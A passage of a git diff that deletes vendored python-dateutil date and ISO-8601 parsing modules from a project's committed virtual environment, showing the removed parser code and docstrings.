'Y') - else: - # Wrong guess - pass - # TODO: not hit in tests - i += 4 - - # Check am/pm - elif info.ampm(l[i]) is not None: - value = info.ampm(l[i]) - val_is_ampm = self._ampm_valid(res.hour, res.ampm, fuzzy) - - if val_is_ampm: - res.hour = self._adjust_ampm(res.hour, value) - res.ampm = value - - elif fuzzy: - skipped_idxs.append(i) - - # Check for a timezone name - elif self._could_be_tzname(res.hour, res.tzname, res.tzoffset, l[i]): - res.tzname = l[i] - res.tzoffset = info.tzoffset(res.tzname) - - # Check for something like GMT+3, or BRST+3. Notice - # that it doesn't mean "I am 3 hours after GMT", but - # "my time +3 is GMT". If found, we reverse the - # logic so that timezone parsing code will get it - # right. - if i + 1 < len_l and l[i + 1] in ('+', '-'): - l[i + 1] = ('+', '-')[l[i + 1] == '+'] - res.tzoffset = None - if info.utczone(res.tzname): - # With something like GMT+3, the timezone - # is *not* GMT. - res.tzname = None - - # Check for a numbered timezone - elif res.hour is not None and l[i] in ('+', '-'): - signal = (-1, 1)[l[i] == '+'] - len_li = len(l[i + 1]) - - # TODO: check that l[i + 1] is integer? - if len_li == 4: - # -0300 - hour_offset = int(l[i + 1][:2]) - min_offset = int(l[i + 1][2:]) - elif i + 2 < len_l and l[i + 2] == ':': - # -03:00 - hour_offset = int(l[i + 1]) - min_offset = int(l[i + 3]) # TODO: Check that l[i+3] is minute-like? - i += 2 - elif len_li <= 2: - # -[0]3 - hour_offset = int(l[i + 1][:2]) - min_offset = 0 - else: - raise ValueError(timestr) - - res.tzoffset = signal * (hour_offset * 3600 + min_offset * 60) - - # Look for a timezone name between parenthesis - if (i + 5 < len_l and - info.jump(l[i + 2]) and l[i + 3] == '(' and - l[i + 5] == ')' and - 3 <= len(l[i + 4]) and - self._could_be_tzname(res.hour, res.tzname, - None, l[i + 4])): - # -0300 (BRST) - res.tzname = l[i + 4] - i += 4 - - i += 1 - - # Check jumps - elif not (info.jump(l[i]) or fuzzy): - raise ValueError(timestr) - - else: - skipped_idxs.append(i) - i += 1 - - # Process year/month/day - year, month, day = ymd.resolve_ymd(yearfirst, dayfirst) - - res.century_specified = ymd.century_specified - res.year = year - res.month = month - res.day = day - - except (IndexError, ValueError): - return None, None - - if not info.validate(res): - return None, None - - if fuzzy_with_tokens: - skipped_tokens = self._recombine_skipped(l, skipped_idxs) - return res, tuple(skipped_tokens) - else: - return res, None - - def _parse_numeric_token(self, tokens, idx, info, ymd, res, fuzzy): - # Token is a number - value_repr = tokens[idx] - try: - value = self._to_decimal(value_repr) - except Exception as e: - six.raise_from(ValueError('Unknown numeric token'), e) - - len_li = len(value_repr) - - len_l = len(tokens) - - if (len(ymd) == 3 and len_li in (2, 4) and - res.hour is None and - (idx + 1 >= len_l or - (tokens[idx + 1] != ':' and - info.hms(tokens[idx + 1]) is None))): - # 19990101T23[59] - s = tokens[idx] - res.hour = int(s[:2]) - - if len_li == 4: - res.minute = int(s[2:]) - - elif len_li == 6 or (len_li > 6 and tokens[idx].find('.') == 6): - # YYMMDD or HHMMSS[.ss] - s = tokens[idx] - - if not ymd and '.' not in tokens[idx]: - ymd.append(s[:2]) - ymd.append(s[2:4]) - ymd.append(s[4:]) - else: - # 19990101T235959[.59] - - # TODO: Check if res attributes already set. - res.hour = int(s[:2]) - res.minute = int(s[2:4]) - res.second, res.microsecond = self._parsems(s[4:]) - - elif len_li in (8, 12, 14): - # YYYYMMDD - s = tokens[idx] - ymd.append(s[:4], 'Y') - ymd.append(s[4:6]) - ymd.append(s[6:8]) - - if len_li > 8: - res.hour = int(s[8:10]) - res.minute = int(s[10:12]) - - if len_li > 12: - res.second = int(s[12:]) - - elif self._find_hms_idx(idx, tokens, info, allow_jump=True) is not None: - # HH[ ]h or MM[ ]m or SS[.ss][ ]s - hms_idx = self._find_hms_idx(idx, tokens, info, allow_jump=True) - (idx, hms) = self._parse_hms(idx, tokens, info, hms_idx) - if hms is not None: - # TODO: checking that hour/minute/second are not - # already set? - self._assign_hms(res, value_repr, hms) - - elif idx + 2 < len_l and tokens[idx + 1] == ':': - # HH:MM[:SS[.ss]] - res.hour = int(value) - value = self._to_decimal(tokens[idx + 2]) # TODO: try/except for this? - (res.minute, res.second) = self._parse_min_sec(value) - - if idx + 4 < len_l and tokens[idx + 3] == ':': - res.second, res.microsecond = self._parsems(tokens[idx + 4]) - - idx += 2 - - idx += 2 - - elif idx + 1 < len_l and tokens[idx + 1] in ('-', '/', '.'): - sep = tokens[idx + 1] - ymd.append(value_repr) - - if idx + 2 < len_l and not info.jump(tokens[idx + 2]): - if tokens[idx + 2].isdigit(): - # 01-01[-01] - ymd.append(tokens[idx + 2]) - else: - # 01-Jan[-01] - value = info.month(tokens[idx + 2]) - - if value is not None: - ymd.append(value, 'M') - else: - raise ValueError() - - if idx + 3 < len_l and tokens[idx + 3] == sep: - # We have three members - value = info.month(tokens[idx + 4]) - - if value is not None: - ymd.append(value, 'M') - else: - ymd.append(tokens[idx + 4]) - idx += 2 - - idx += 1 - idx += 1 - - elif idx + 1 >= len_l or info.jump(tokens[idx + 1]): - if idx + 2 < len_l and info.ampm(tokens[idx + 2]) is not None: - # 12 am - hour = int(value) - res.hour = self._adjust_ampm(hour, info.ampm(tokens[idx + 2])) - idx += 1 - else: - # Year, month or day - ymd.append(value) - idx += 1 - - elif info.ampm(tokens[idx + 1]) is not None and (0 <= value < 24): - # 12am - hour = int(value) - res.hour = self._adjust_ampm(hour, info.ampm(tokens[idx + 1])) - idx += 1 - - elif ymd.could_be_day(value): - ymd.append(value) - - elif not fuzzy: - raise ValueError() - - return idx - - def _find_hms_idx(self, idx, tokens, info, allow_jump): - len_l = len(tokens) - - if idx+1 < len_l and info.hms(tokens[idx+1]) is not None: - # There is an "h", "m", or "s" label following this token. We take - # assign the upcoming label to the current token. - # e.g. the "12" in 12h" - hms_idx = idx + 1 - - elif (allow_jump and idx+2 < len_l and tokens[idx+1] == ' ' and - info.hms(tokens[idx+2]) is not None): - # There is a space and then an "h", "m", or "s" label. - # e.g. the "12" in "12 h" - hms_idx = idx + 2 - - elif idx > 0 and info.hms(tokens[idx-1]) is not None: - # There is a "h", "m", or "s" preceding this token. Since neither - # of the previous cases was hit, there is no label following this - # token, so we use the previous label. - # e.g. the "04" in "12h04" - hms_idx = idx-1 - - elif (1 < idx == len_l-1 and tokens[idx-1] == ' ' and - info.hms(tokens[idx-2]) is not None): - # If we are looking at the final token, we allow for a - # backward-looking check to skip over a space. - # TODO: Are we sure this is the right condition here? - hms_idx = idx - 2 - - else: - hms_idx = None - - return hms_idx - - def _assign_hms(self, res, value_repr, hms): - # See GH issue #427, fixing float rounding - value = self._to_decimal(value_repr) - - if hms == 0: - # Hour - res.hour = int(value) - if value % 1: - res.minute = int(60*(value % 1)) - - elif hms == 1: - (res.minute, res.second) = self._parse_min_sec(value) - - elif hms == 2: - (res.second, res.microsecond) = self._parsems(value_repr) - - def _could_be_tzname(self, hour, tzname, tzoffset, token): - return (hour is not None and - tzname is None and - tzoffset is None and - len(token) <= 5 and - (all(x in string.ascii_uppercase for x in token) - or token in self.info.UTCZONE)) - - def _ampm_valid(self, hour, ampm, fuzzy): - """ - For fuzzy parsing, 'a' or 'am' (both valid English words) - may erroneously trigger the AM/PM flag. Deal with that - here. - """ - val_is_ampm = True - - # If there's already an AM/PM flag, this one isn't one. - if fuzzy and ampm is not None: - val_is_ampm = False - - # If AM/PM is found and hour is not, raise a ValueError - if hour is None: - if fuzzy: - val_is_ampm = False - else: - raise ValueError('No hour specified with AM or PM flag.') - elif not 0 <= hour <= 12: - # If AM/PM is found, it's a 12 hour clock, so raise - # an error for invalid range - if fuzzy: - val_is_ampm = False - else: - raise ValueError('Invalid hour specified for 12-hour clock.') - - return val_is_ampm - - def _adjust_ampm(self, hour, ampm): - if hour < 12 and ampm == 1: - hour += 12 - elif hour == 12 and ampm == 0: - hour = 0 - return hour - - def _parse_min_sec(self, value): - # TODO: Every usage of this function sets res.second to the return - # value. Are there any cases where second will be returned as None and - # we *don't* want to set res.second = None? - minute = int(value) - second = None - - sec_remainder = value % 1 - if sec_remainder: - second = int(60 * sec_remainder) - return (minute, second) - - def _parse_hms(self, idx, tokens, info, hms_idx): - # TODO: Is this going to admit a lot of false-positives for when we - # just happen to have digits and "h", "m" or "s" characters in non-date - # text? I guess hex hashes won't have that problem, but there's plenty - # of random junk out there. - if hms_idx is None: - hms = None - new_idx = idx - elif hms_idx > idx: - hms = info.hms(tokens[hms_idx]) - new_idx = hms_idx - else: - # Looking backwards, increment one. - hms = info.hms(tokens[hms_idx]) + 1 - new_idx = idx - - return (new_idx, hms) - - # ------------------------------------------------------------------ - # Handling for individual tokens. These are kept as methods instead - # of functions for the sake of customizability via subclassing. - - def _parsems(self, value): - """Parse a I[.F] seconds value into (seconds, microseconds).""" - if "." not in value: - return int(value), 0 - else: - i, f = value.split(".") - return int(i), int(f.ljust(6, "0")[:6]) - - def _to_decimal(self, val): - try: - decimal_value = Decimal(val) - # See GH 662, edge case, infinite value should not be converted - # via `_to_decimal` - if not decimal_value.is_finite(): - raise ValueError("Converted decimal value is infinite or NaN") - except Exception as e: - msg = "Could not convert %s to decimal" % val - six.raise_from(ValueError(msg), e) - else: - return decimal_value - - # ------------------------------------------------------------------ - # Post-Parsing construction of datetime output. These are kept as - # methods instead of functions for the sake of customizability via - # subclassing. - - def _build_tzinfo(self, tzinfos, tzname, tzoffset): - if callable(tzinfos): - tzdata = tzinfos(tzname, tzoffset) - else: - tzdata = tzinfos.get(tzname) - # handle case where tzinfo is paased an options that returns None - # eg tzinfos = {'BRST' : None} - if isinstance(tzdata, datetime.tzinfo) or tzdata is None: - tzinfo = tzdata - elif isinstance(tzdata, text_type): - tzinfo = tz.tzstr(tzdata) - elif isinstance(tzdata, integer_types): - tzinfo = tz.tzoffset(tzname, tzdata) - else: - raise TypeError("Offset must be tzinfo subclass, tz string, " - "or int offset.") - return tzinfo - - def _build_tzaware(self, naive, res, tzinfos): - if (callable(tzinfos) or (tzinfos and res.tzname in tzinfos)): - tzinfo = self._build_tzinfo(tzinfos, res.tzname, res.tzoffset) - aware = naive.replace(tzinfo=tzinfo) - aware = self._assign_tzname(aware, res.tzname) - - elif res.tzname and res.tzname in time.tzname: - aware = naive.replace(tzinfo=tz.tzlocal()) - - # Handle ambiguous local datetime - aware = self._assign_tzname(aware, res.tzname) - - # This is mostly relevant for winter GMT zones parsed in the UK - if (aware.tzname() != res.tzname and - res.tzname in self.info.UTCZONE): - aware = aware.replace(tzinfo=tz.UTC) - - elif res.tzoffset == 0: - aware = naive.replace(tzinfo=tz.UTC) - - elif res.tzoffset: - aware = naive.replace(tzinfo=tz.tzoffset(res.tzname, res.tzoffset)) - - elif not res.tzname and not res.tzoffset: - # i.e. no timezone information was found. - aware = naive - - elif res.tzname: - # tz-like string was parsed but we don't know what to do - # with it - warnings.warn("tzname {tzname} identified but not understood. " - "Pass `tzinfos` argument in order to correctly " - "return a timezone-aware datetime. In a future " - "version, this will raise an " - "exception.".format(tzname=res.tzname), - category=UnknownTimezoneWarning) - aware = naive - - return aware - - def _build_naive(self, res, default): - repl = {} - for attr in ("year", "month", "day", "hour", - "minute", "second", "microsecond"): - value = getattr(res, attr) - if value is not None: - repl[attr] = value - - if 'day' not in repl: - # If the default day exceeds the last day of the month, fall back - # to the end of the month. - cyear = default.year if res.year is None else res.year - cmonth = default.month if res.month is None else res.month - cday = default.day if res.day is None else res.day - - if cday > monthrange(cyear, cmonth)[1]: - repl['day'] = monthrange(cyear, cmonth)[1] - - naive = default.replace(**repl) - - if res.weekday is not None and not res.day: - naive = naive + relativedelta.relativedelta(weekday=res.weekday) - - return naive - - def _assign_tzname(self, dt, tzname): - if dt.tzname() != tzname: - new_dt = tz.enfold(dt, fold=1) - if new_dt.tzname() == tzname: - return new_dt - - return dt - - def _recombine_skipped(self, tokens, skipped_idxs): - """ - >>> tokens = ["foo", " ", "bar", " ", "19June2000", "baz"] - >>> skipped_idxs = [0, 1, 2, 5] - >>> _recombine_skipped(tokens, skipped_idxs) - ["foo bar", "baz"] - """ - skipped_tokens = [] - for i, idx in enumerate(sorted(skipped_idxs)): - if i > 0 and idx - 1 == skipped_idxs[i - 1]: - skipped_tokens[-1] = skipped_tokens[-1] + tokens[idx] - else: - skipped_tokens.append(tokens[idx]) - - return skipped_tokens - - -DEFAULTPARSER = parser() - - -def parse(timestr, parserinfo=None, **kwargs): - """ - - Parse a string in one of the supported formats, using the - ``parserinfo`` parameters. - - :param timestr: - A string containing a date/time stamp. - - :param parserinfo: - A :class:`parserinfo` object containing parameters for the parser. - If ``None``, the default arguments to the :class:`parserinfo` - constructor are used. - - The ``**kwargs`` parameter takes the following keyword arguments: - - :param default: - The default datetime object, if this is a datetime object and not - ``None``, elements specified in ``timestr`` replace elements in the - default object. - - :param ignoretz: - If set ``True``, time zones in parsed strings are ignored and a naive - :class:`datetime` object is returned. - - :param tzinfos: - Additional time zone names / aliases which may be present in the - string. This argument maps time zone names (and optionally offsets - from those time zones) to time zones. This parameter can be a - dictionary with timezone aliases mapping time zone names to time - zones or a function taking two parameters (``tzname`` and - ``tzoffset``) and returning a time zone. - - The timezones to which the names are mapped can be an integer - offset from UTC in seconds or a :class:`tzinfo` object. - - .. doctest:: - :options: +NORMALIZE_WHITESPACE - - >>> from dateutil.parser import parse - >>> from dateutil.tz import gettz - >>> tzinfos = {"BRST": -7200, "CST": gettz("America/Chicago")} - >>> parse("2012-01-19 17:21:00 BRST", tzinfos=tzinfos) - datetime.datetime(2012, 1, 19, 17, 21, tzinfo=tzoffset(u'BRST', -7200)) - >>> parse("2012-01-19 17:21:00 CST", tzinfos=tzinfos) - datetime.datetime(2012, 1, 19, 17, 21, - tzinfo=tzfile('/usr/share/zoneinfo/America/Chicago')) - - This parameter is ignored if ``ignoretz`` is set. - - :param dayfirst: - Whether to interpret the first value in an ambiguous 3-integer date - (e.g. 01/05/09) as the day (``True``) or month (``False``). If - ``yearfirst`` is set to ``True``, this distinguishes between YDM and - YMD. If set to ``None``, this value is retrieved from the current - :class:`parserinfo` object (which itself defaults to ``False``). - - :param yearfirst: - Whether to interpret the first value in an ambiguous 3-integer date - (e.g. 01/05/09) as the year. If ``True``, the first number is taken to - be the year, otherwise the last number is taken to be the year. If - this is set to ``None``, the value is retrieved from the current - :class:`parserinfo` object (which itself defaults to ``False``). - - :param fuzzy: - Whether to allow fuzzy parsing, allowing for string like "Today is - January 1, 2047 at 8:21:00AM". - - :param fuzzy_with_tokens: - If ``True``, ``fuzzy`` is automatically set to True, and the parser - will return a tuple where the first element is the parsed - :class:`datetime.datetime` datetimestamp and the second element is - a tuple containing the portions of the string which were ignored: - - .. doctest:: - - >>> from dateutil.parser import parse - >>> parse("Today is January 1, 2047 at 8:21:00AM", fuzzy_with_tokens=True) - (datetime.datetime(2047, 1, 1, 8, 21), (u'Today is ', u' ', u'at ')) - - :return: - Returns a :class:`datetime.datetime` object or, if the - ``fuzzy_with_tokens`` option is ``True``, returns a tuple, the - first element being a :class:`datetime.datetime` object, the second - a tuple containing the fuzzy tokens. - - :raises ParserError: - Raised for invalid or unknown string formats, if the provided - :class:`tzinfo` is not in a valid format, or if an invalid date would - be created. - - :raises OverflowError: - Raised if the parsed date exceeds the largest valid C integer on - your system. - """ - if parserinfo: - return parser(parserinfo).parse(timestr, **kwargs) - else: - return DEFAULTPARSER.parse(timestr, **kwargs) - - -class _tzparser(object): - - class _result(_resultbase): - - __slots__ = ["stdabbr", "stdoffset", "dstabbr", "dstoffset", - "start", "end"] - - class _attr(_resultbase): - __slots__ = ["month", "week", "weekday", - "yday", "jyday", "day", "time"] - - def __repr__(self): - return self._repr("") - - def __init__(self): - _resultbase.__init__(self) - self.start = self._attr() - self.end = self._attr() - - def parse(self, tzstr): - res = self._result() - l = [x for x in re.split(r'([,:.]|[a-zA-Z]+|[0-9]+)',tzstr) if x] - used_idxs = list() - try: - - len_l = len(l) - - i = 0 - while i < len_l: - # BRST+3[BRDT[+2]] - j = i - while j < len_l and not [x for x in l[j] - if x in "0123456789:,-+"]: - j += 1 - if j != i: - if not res.stdabbr: - offattr = "stdoffset" - res.stdabbr = "".join(l[i:j]) - else: - offattr = "dstoffset" - res.dstabbr = "".join(l[i:j]) - - for ii in range(j): - used_idxs.append(ii) - i = j - if (i < len_l and (l[i] in ('+', '-') or l[i][0] in - "0123456789")): - if l[i] in ('+', '-'): - # Yes, that's right. See the TZ variable - # documentation. - signal = (1, -1)[l[i] == '+'] - used_idxs.append(i) - i += 1 - else: - signal = -1 - len_li = len(l[i]) - if len_li == 4: - # -0300 - setattr(res, offattr, (int(l[i][:2]) * 3600 + - int(l[i][2:]) * 60) * signal) - elif i + 1 < len_l and l[i + 1] == ':': - # -03:00 - setattr(res, offattr, - (int(l[i]) * 3600 + - int(l[i + 2]) * 60) * signal) - used_idxs.append(i) - i += 2 - elif len_li <= 2: - # -[0]3 - setattr(res, offattr, - int(l[i][:2]) * 3600 * signal) - else: - return None - used_idxs.append(i) - i += 1 - if res.dstabbr: - break - else: - break - - - if i < len_l: - for j in range(i, len_l): - if l[j] == ';': - l[j] = ',' - - assert l[i] == ',' - - i += 1 - - if i >= len_l: - pass - elif (8 <= l.count(',') <= 9 and - not [y for x in l[i:] if x != ',' - for y in x if y not in "0123456789+-"]): - # GMT0BST,3,0,30,3600,10,0,26,7200[,3600] - for x in (res.start, res.end): - x.month = int(l[i]) - used_idxs.append(i) - i += 2 - if l[i] == '-': - value = int(l[i + 1]) * -1 - used_idxs.append(i) - i += 1 - else: - value = int(l[i]) - used_idxs.append(i) - i += 2 - if value: - x.week = value - x.weekday = (int(l[i]) - 1) % 7 - else: - x.day = int(l[i]) - used_idxs.append(i) - i += 2 - x.time = int(l[i]) - used_idxs.append(i) - i += 2 - if i < len_l: - if l[i] in ('-', '+'): - signal = (-1, 1)[l[i] == "+"] - used_idxs.append(i) - i += 1 - else: - signal = 1 - used_idxs.append(i) - res.dstoffset = (res.stdoffset + int(l[i]) * signal) - - # This was a made-up format that is not in normal use - warn(('Parsed time zone "%s"' % tzstr) + - 'is in a non-standard dateutil-specific format, which ' + - 'is now deprecated; support for parsing this format ' + - 'will be removed in future versions. It is recommended ' + - 'that you switch to a standard format like the GNU ' + - 'TZ variable format.', tz.DeprecatedTzFormatWarning) - elif (l.count(',') == 2 and l[i:].count('/') <= 2 and - not [y for x in l[i:] if x not in (',', '/', 'J', 'M', - '.', '-', ':') - for y in x if y not in "0123456789"]): - for x in (res.start, res.end): - if l[i] == 'J': - # non-leap year day (1 based) - used_idxs.append(i) - i += 1 - x.jyday = int(l[i]) - elif l[i] == 'M': - # month[-.]week[-.]weekday - used_idxs.append(i) - i += 1 - x.month = int(l[i]) - used_idxs.append(i) - i += 1 - assert l[i] in ('-', '.') - used_idxs.append(i) - i += 1 - x.week = int(l[i]) - if x.week == 5: - x.week = -1 - used_idxs.append(i) - i += 1 - assert l[i] in ('-', '.') - used_idxs.append(i) - i += 1 - x.weekday = (int(l[i]) - 1) % 7 - else: - # year day (zero based) - x.yday = int(l[i]) + 1 - - used_idxs.append(i) - i += 1 - - if i < len_l and l[i] == '/': - used_idxs.append(i) - i += 1 - # start time - len_li = len(l[i]) - if len_li == 4: - # -0300 - x.time = (int(l[i][:2]) * 3600 + - int(l[i][2:]) * 60) - elif i + 1 < len_l and l[i + 1] == ':': - # -03:00 - x.time = int(l[i]) * 3600 + int(l[i + 2]) * 60 - used_idxs.append(i) - i += 2 - if i + 1 < len_l and l[i + 1] == ':': - used_idxs.append(i) - i += 2 - x.time += int(l[i]) - elif len_li <= 2: - # -[0]3 - x.time = (int(l[i][:2]) * 3600) - else: - return None - used_idxs.append(i) - i += 1 - - assert i == len_l or l[i] == ',' - - i += 1 - - assert i >= len_l - - except (IndexError, ValueError, AssertionError): - return None - - unused_idxs = set(range(len_l)).difference(used_idxs) - res.any_unused_tokens = not {l[n] for n in unused_idxs}.issubset({",",":"}) - return res - - -DEFAULTTZPARSER = _tzparser() - - -def _parsetz(tzstr): - return DEFAULTTZPARSER.parse(tzstr) - - -class ParserError(ValueError): - """Exception subclass used for any failure to parse a datetime string. - - This is a subclass of :py:exc:`ValueError`, and should be raised any time - earlier versions of ``dateutil`` would have raised ``ValueError``. - - .. versionadded:: 2.8.1 - """ - def __str__(self): - try: - return self.args[0] % self.args[1:] - except (TypeError, IndexError): - return super(ParserError, self).__str__() - - def __repr__(self): - args = ", ".join("'%s'" % arg for arg in self.args) - return "%s(%s)" % (self.__class__.__name__, args) - - -class UnknownTimezoneWarning(RuntimeWarning): - """Raised when the parser finds a timezone it cannot parse into a tzinfo. - - .. versionadded:: 2.7.0 - """ -# vim:ts=4:sw=4:et diff --git a/backend/venv/Lib/site-packages/dateutil/parser/isoparser.py b/backend/venv/Lib/site-packages/dateutil/parser/isoparser.py deleted file mode 100644 index 7060087d..00000000 --- a/backend/venv/Lib/site-packages/dateutil/parser/isoparser.py +++ /dev/null @@ -1,416 +0,0 @@ -# -*- coding: utf-8 -*- -""" -This module offers a parser for ISO-8601 strings - -It is intended to support all valid date, time and datetime formats per the -ISO-8601 specification. - -..versionadded:: 2.7.0 -""" -from datetime import datetime, timedelta, time, date -import calendar -from dateutil import tz - -from functools import wraps - -import re -import six - -__all__ = ["isoparse", "isoparser"] - - -def _takes_ascii(f): - @wraps(f) - def func(self, str_in, *args, **kwargs): - # If it's a stream, read the whole thing - str_in = getattr(str_in, 'read', lambda: str_in)() - - # If it's unicode, turn it into bytes, since ISO-8601 only covers ASCII - if isinstance(str_in, six.text_type): - # ASCII is the same in UTF-8 - try: - str_in = str_in.encode('ascii') - except UnicodeEncodeError as e: - msg = 'ISO-8601 strings should contain only ASCII characters' - six.raise_from(ValueError(msg), e) - - return f(self, str_in, *args, **kwargs) - - return func - - -class isoparser(object): - def __init__(self, sep=None): - """ - :param sep: - A single character that separates date and time portions. If - ``None``, the parser will accept any single character. - For strict ISO-8601 adherence, pass ``'T'``. - """ - if sep is not None: - if (len(sep) != 1 or ord(sep) >= 128 or sep in '0123456789'): - raise ValueError('Separator must be a single, non-numeric ' + - 'ASCII character') - - sep = sep.encode('ascii') - - self._sep = sep - - @_takes_ascii - def isoparse(self, dt_str): - """ - Parse an ISO-8601 datetime string into a :class:`datetime.datetime`. - - An ISO-8601 datetime string consists of a date portion, followed - optionally by a time portion - the date and time portions are separated - by a single character separator, which is ``T`` in the official - standard. Incomplete date formats (such as ``YYYY-MM``) may *not* be - combined with a time portion. - - Supported date formats are: - - Common: - - - ``YYYY`` - - ``YYYY-MM`` - - ``YYYY-MM-DD`` or ``YYYYMMDD`` - - Uncommon: - - - ``YYYY-Www`` or ``YYYYWww`` - ISO week (day defaults to 0) - - ``YYYY-Www-D`` or ``YYYYWwwD`` - ISO week and day - - The ISO week and day numbering follows the same logic as - :func:`datetime.date.isocalendar`. - - Supported time formats are: - - - ``hh`` - - ``hh:mm`` or ``hhmm`` - - ``hh:mm:ss`` or ``hhmmss`` - - ``hh:mm:ss.ssssss`` (Up to 6 sub-second digits) - - Midnight is a special case for `hh`, as the standard supports both - 00:00 and 24:00 as a representation. The decimal separator can be - either a dot or a comma. - - - .. caution:: - - Support for fractional components other than seconds is part of the - ISO-8601 standard, but is not currently implemented in this parser. - - Supported time zone offset formats are: - - - `Z` (UTC) - - `±HH:MM` - - `±HHMM` - - `±HH` - - Offsets will be represented as :class:`dateutil.tz.tzoffset` objects, - with the exception of UTC, which will be represented as - :class:`dateutil.tz.tzutc`. Time zone offsets equivalent to UTC (such - as `+00:00`) will also be represented as :class:`dateutil.tz.tzutc`. - - :param dt_str: - A string or stream containing only an ISO-8601 datetime string - - :return: - Returns a :class:`datetime.datetime` representing the string. - Unspecified components default to their lowest value. - - .. warning:: - - As of version 2.7.0, the strictness of the parser should not be - considered a stable part of the contract. Any valid ISO-8601 string - that parses correctly with the default settings will continue to - parse correctly in future versions, but invalid strings that - currently fail (e.g. ``2017-01-01T00:00+00:00:00``) are not - guaranteed to continue failing in future versions if they encode - a valid date. - - .. versionadded:: 2.7.0 - """ - components, pos = self._parse_isodate(dt_str) - - if len(dt_str) > pos: - if self._sep is None or dt_str[pos:pos + 1] == self._sep: - components += self._parse_isotime(dt_str[pos + 1:]) - else: - raise ValueError('String contains unknown ISO components') - - if len(components) > 3 and components[3] == 24: - components[3] = 0 - return datetime(*components) + timedelta(days=1) - - return datetime(*components) - - @_takes_ascii - def parse_isodate(self, datestr): - """ - Parse the date portion of an ISO string. - - :param datestr: - The string portion of an ISO string, without a separator - - :return: - Returns a :class:`datetime.date` object - """ - components, pos = self._parse_isodate(datestr) - if pos < len(datestr): - raise ValueError('String contains unknown ISO ' + - 'components: {!r}'.format(datestr.decode('ascii'))) - return date(*components) - - @_takes_ascii - def parse_isotime(self, timestr): - """ - Parse the time portion of an ISO string. - - :param timestr: - The time portion of an ISO string, without a separator - - :return: - Returns a :class:`datetime.time` object - """ - components = self._parse_isotime(timestr) - if components[0] == 24: - components[0] = 0 - return time(*components) - - @_takes_ascii - def parse_tzstr(self, tzstr, zero_as_utc=True): - """ - Parse a valid ISO time zone string. - - See :func:`isoparser.isoparse` for details on supported formats. - - :param tzstr: - A string representing an ISO time zone offset - - :param zero_as_utc: - Whether to return :class:`dateutil.tz.tzutc` for zero-offset zones - - :return: - Returns :class:`dateutil.tz.tzoffset` for offsets and - :class:`dateutil.tz.tzutc` for ``Z`` and (if ``zero_as_utc`` is - specified) offsets equivalent to UTC. - """ - return self._parse_tzstr(tzstr, zero_as_utc=zero_as_utc) - - # Constants - _DATE_SEP = b'-' - _TIME_SEP = b':' - _FRACTION_REGEX = re.compile(b'[\\.,]([0-9]+)') - - def _parse_isodate(self, dt_str): - try: - return self._parse_isodate_common(dt_str) - except ValueError: - return self._parse_isodate_uncommon(dt_str) - - def _parse_isodate_common(self, dt_str): - len_str = len(dt_str) - components = [1, 1, 1] - - if len_str < 4: - raise ValueError('ISO string too short') - - # Year - components[0] = int(dt_str[0:4]) - pos = 4 - if pos >= len_str: - return components, pos - - has_sep = dt_str[pos:pos + 1] == self._DATE_SEP - if has_sep: - pos += 1 - - # Month - if len_str - pos < 2: - raise ValueError('Invalid common month') - - components[1] = int(dt_str[pos:pos + 2]) - pos += 2 - - if pos >= len_str: - if has_sep: - return components, pos - else: - raise ValueError('Invalid ISO format') - - if has_sep: - if dt_str[pos:pos + 1] != self._DATE_SEP: - raise ValueError('Invalid separator in ISO string') - pos += 1 - - # Day - if len_str - pos < 2: - raise ValueError('Invalid common day') - components[2] = int(dt_str[pos:pos + 2]) - return components, pos + 2 - - def _parse_isodate_uncommon(self, dt_str): - if len(dt_str) < 4: - raise ValueError('ISO string too short') - - # All ISO formats start with the year - year = int(dt_str[0:4]) - - has_sep = dt_str[4:5] == self._DATE_SEP - - pos = 4 + has_sep # Skip '-' if it's there - if dt_str[pos:pos + 1] == b'W': - # YYYY-?Www-?D? - pos += 1 - weekno = int(dt_str[pos:pos + 2]) - pos += 2 - - dayno = 1 - if len(dt_str) > pos: - if (dt_str[pos:pos + 1] == self._DATE_SEP) != has_sep: - raise ValueError('Inconsistent use of dash separator') - - pos += has_sep - - dayno = int(dt_str[pos:pos + 1]) - pos += 1 - - base_date = self._calculate_weekdate(year, weekno, dayno) - else: - # YYYYDDD or YYYY-DDD - if len(dt_str) - pos < 3: - raise ValueError('Invalid ordinal day') - - ordinal_day = int(dt_str[pos:pos + 3]) - pos += 3 - - if ordinal_day < 1 or ordinal_day > (365 + calendar.isleap(year)): - raise ValueError('Invalid ordinal day' + - ' {} for year {}'.format(ordinal_day, year)) - - base_date = date(year, 1, 1) + timedelta(days=ordinal_day - 1) - - components = [base_date.year, base_date.month, base_date.day] - return components, pos - - def _calculate_weekdate(self, year, week, day): - """ - Calculate the day of corresponding to the ISO year-week-day calendar. - - This function is effectively the inverse of - :func:`datetime.date.isocalendar`. - - :param year: - The year in the ISO calendar - - :param week: - The week in the ISO calendar - range is [1, 53] - - :param day: - The day in the ISO calendar - range is [1 (MON), 7 (SUN)] - - :return: - Returns a :class:`datetime.date` - """ - if not 0 < week < 54: - raise ValueError('Invalid week: {}'.format(week)) - - if not 0 < day < 8: # Range is 1-7 - raise ValueError('Invalid weekday: {}'.format(day)) - - # Get week 1 for the specific year: - jan_4 = date(year, 1, 4) # Week 1 always has January 4th in it - week_1 = jan_4 - timedelta(days=jan_4.isocalendar()[2] - 1) - - # Now add the specific number of weeks and days to get what we want - week_offset = (week - 1) * 7 + (day - 1) - return week_1 + timedelta(days=week_offset) - - def _parse_isotime(self, timestr): - len_str = len(timestr) - components = [0, 0, 0, 0, None] - pos = 0 - comp = -1 - - if len_str < 2: - raise ValueError('ISO time too short') - - has_sep = False - - while pos < len_str and comp < 5: - comp += 1 - - if timestr[pos:pos + 1] in b'-+Zz': - # Detect time zone boundary - components[-1] = self._parse_tzstr(timestr[pos:]) - pos = len_str - break - - if comp == 1 and timestr[pos:pos+1] == self._TIME_SEP: - has_sep = True - pos += 1 - elif comp == 2 and has_sep: - if timestr[pos:pos+1] != self._TIME_SEP: - raise ValueError('Inconsistent use of colon separator') - pos += 1 - - if comp < 3: - # Hour, minute, second - components[comp] = int(timestr[pos:pos + 2]) - pos += 2 - - if comp == 3: - # Fraction of a second - frac = self._FRACTION_REGEX.match(timestr[pos:]) - if not frac: - continue - - us_str = frac.group(1)[:6] # Truncate to microseconds - components[comp] = int(us_str) * 10**(6 - len(us_str)) - pos += len(frac.group()) - - if pos < len_str: - raise ValueError('Unused components in ISO string') - - if components[0] == 24: - # Standard supports 00:00 and 24:00 as representations of midnight - if any(component != 0 for component in components[1:4]): - raise ValueError('Hour may only be 24 at 24:00:00.000') - - return components - - def 